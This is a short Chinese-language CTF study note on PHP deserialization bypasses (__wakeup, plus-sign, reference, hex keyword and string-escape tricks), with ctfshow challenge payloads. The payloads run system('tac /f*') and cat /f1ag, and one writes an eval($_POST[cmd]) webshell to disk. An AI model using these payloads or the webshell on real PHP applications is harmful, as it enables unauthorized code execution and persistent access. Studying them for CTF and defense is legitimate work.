目录
①__wakeup绕过
②加号绕过正则匹配
③引用绕过相等
④16进制绕过关键词过滤
⑤Exception绕过
⑥字符串逃逸
要中期考试乐(悲)
①__wakeup绕过
反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过
(php5-php5.6.25;php7-php7.0.10)
②加号绕过正则匹配
例题1:web56
$a=new backdoor();
$a->name='system("tac /f*");';
echo serialize($a);//O:8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
//O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
payload:
data=O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
③引用绕过相等
例题2:web57
用&保证password和secret指向相同的内存引用地址
<?phpclass login{public $username='admin';public $password;public $secret;private $code="system('cat /f1ag');";public function __wakeup(){$this->secret = file_get_contents("/f1ag");}public function check_login(){if($this->username = 'admin' && $this->password==$this->secret){eval($this->code);}}
}
$a=new login();
$a->password=&$a->secret;
echo urlencode(serialize($a));//O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D
payload:
data=O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D
④16进制绕过关键词过滤
反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过(表示支持assic码的hex值)
举例:
?web=O:3:"syc":1:{s:5:"lover";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";
当lover被过滤的时候,可以如下绕过
推荐一个在线平台:
在线字符串和16进制互转
?web=O:3:"syc":1:{S:5:"\6c\6f\76\65\72";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";
⑤Exception绕过
破坏反序列化结构即可
例题3:web59
$a=new backdoor();
echo serialize($a);//O:8:"backdoor":0:{}
//O:8:"backdoor":0:{
payload:
data= O:8:"backdoor":0:{
⑥字符串逃逸
例题4:web60
system->ctfshow(由6变7)
要逃逸的字符串:
";s:1:"a";s:7:"tac /f*";}
(总长25)
最终payload:
m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:7:"tac /f*";}